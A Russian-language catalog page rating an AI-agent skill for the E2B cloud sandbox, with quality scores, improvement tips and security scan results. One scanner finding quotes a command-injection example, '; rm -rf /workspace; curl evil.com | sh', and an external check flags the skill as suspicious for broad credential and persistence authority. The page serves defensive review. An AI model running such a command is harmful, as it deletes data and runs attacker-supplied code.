SKILLEMALL.ai
EN Войти

BD e2b-sandbox-runtime

E2B: облачная среда выполнения для выполнения кода, сгенерированного ИИ, в изолированных micro-VM. SDK для Python/TS вызывают демон envd (Rust + protobuf) через Connect-RPC. E2B: облачная среда выполнения для выполнения кода, сгенерированного ИИ, в изолированных micro-VM. SDK для Python и TypeScript являются чисто RPC-клиентами через Connect-RPC к демону envd (Rust + protobuf).

машинный переводПоказать оригиналСкрыть оригинал«E2B：在隔离 micro-VM 里执行 AI 生成代码的云端 runtime。Python / TS SDK 通过 Connect-RPC…»

E2B：在隔离 micro-VM 里执行 AI 生成代码的云端 runtime。Python / TS SDK 通过 Connect-RPC 调用 envd 守护进程（Rust + protobuf）。 E2B: cloud-side runtime for executing AI-generated code in isolated micro-VMs. Python and TypeScript SDKs are pure RPC clients over Connect-RPC against an envd daemon (Rust + protobuf).

ClawHub Agent Skills автор: Tang Weigang v0.1.0 MIT-0 4 файла тело ≈ 361 токенов Открыть источникclawhub.ai↗ проанализирован 2 дн назад

E2B: облачная среда выполнения для выполнения кода, сгенерированного ИИ, в изолированных micro-VM.

Как процесс D 43/100 · Процесс не доведён — слабые места: результат и критерий готовности, когда включается, входы и предусловия

ИнтеграцияРазработкатип и темы размечены автоматически по тексту скилла
Запускается в: OpenClaw Claude / Claude Code ChatGPT / Codex Gemini CLI Cursor GitHub Copilot / VS Code Qwen Code Kimi Code CLI Z.ai (GLM) DeepSeek (Deep Code) Mistral Vibe LangChain (deepagents) Goose OpenCode
JSON
Технический рейтинг
B
87/100
безопасность, качество, тесты
Безопасность 60%
99
Качество 40%
69
Прогон на моделях
не было
Процессный рейтинг
D
43/100
Процесс не доведён
Результат и критерий готовности вес 14
0
Входы и предусловия вес 11
0
Ошибки и развилки вес 10
0
три самых слабых из десяти параметров · все десять

Как улучшить

  1. Скажите в description, КОГДА применять скилл («используй, когда…», примеры запросов): это главный сигнал для агента.
Для прогона на моделях — необязательно
  • Свои кейсы (evals/evals.json, 4–6 реальных запросов с ожидаемыми ответами): тогда полная проверка прогонит именно их, а не черновик от модели.
  • spec.yaml с триггерными фразами и утверждениями — контракт поведения для CI; `skilltest init` создаст шаблон.

Находки guard · 1

✓ Критических и высоких находок нет

Средние и низкие: 1
  • низкая Опасные команды cmd-pipe-to-shell references/seed.yaml:943
    Скачивание и запуск удалённого кода с неизвестного хоста (pipe в shell) (строковый литерал в коде, не выполняется; демонстрация атаки / пример)
    consequence: Without escaping, an attacker can append `; rm -rf /workspace; curl evil.com | sh` at the end of user input
    строка в кодедемонстрация

Просканировано файлов: 4. Улики замаскированы. Пометки в серых чипах объясняют, почему серьёзность понижена.

По спецификации Agent Skills

  • предупреждение description-no-when description не говорит, КОГДА применять скилл (нет "use when / используй когда")

Процессный рейтинг: все десять параметров 43/100

  • 0Результат и критерий готовности. Не сказано, что считать результатом
  • 0Входы и предусловия. Не сказано, что нужно иметь на входе
  • 0Ошибки и развилки. Линейный процесс без обработки сбоев
  • 0Отчётность по ходу. Скилл ничего не сообщает по ходу работы
  • 20Когда включается. Не сказано, при каком запросе скилл включается
  • 30Повторный запуск. Изменяющих операций: 1, без проверки текущего состояния
  • 60Инструменты и файлы. Используются инструменты (bash, python, node), но во frontmatter они не объявлены
  • 100Шаги. Шагов: 7
  • 100Согласованность. Имя и обязательные поля на месте
  • 100Стоимость исполнения. Тело инструкции 361 токенов

Всё перечисленное измерено по тексту скилла, а не оценено моделью: цифры проверяемы. Вес параметра тем больше, чем чаще из-за него процесс встаёт.

Сигналы качества

  • +5В description нет примеров фраз, по которым скилл должен срабатывать
  • +4Описание не говорит, когда скилл НЕ применять (ложные срабатывания)
  • +3Формат ответа не описан: модель каждый раз решает сама
  • +4Нет примеров входа/выхода
  • +2Инструкции на одном языке
  • +3Длина description 287 символов: достаточно сигнала, не съедает бюджет
  • +4Структура: 8 заголовков
  • +3Пошаговые инструкции: 7 пунктов
  • +1Лицензия указана

База качества 70; замечания lint вычитаются, сигналы прибавляют до 100. Итог: 69.

Внешние проверки

ClawHub: suspicious
This skill should be reviewed carefully because it mixes an E2B sandbox runtime with unrelated finance/ZVT automation while granting broad command, network, credential, and persistence authority.
LLM: suspicious (high) · VirusTotal: · 29 мая 2026 г.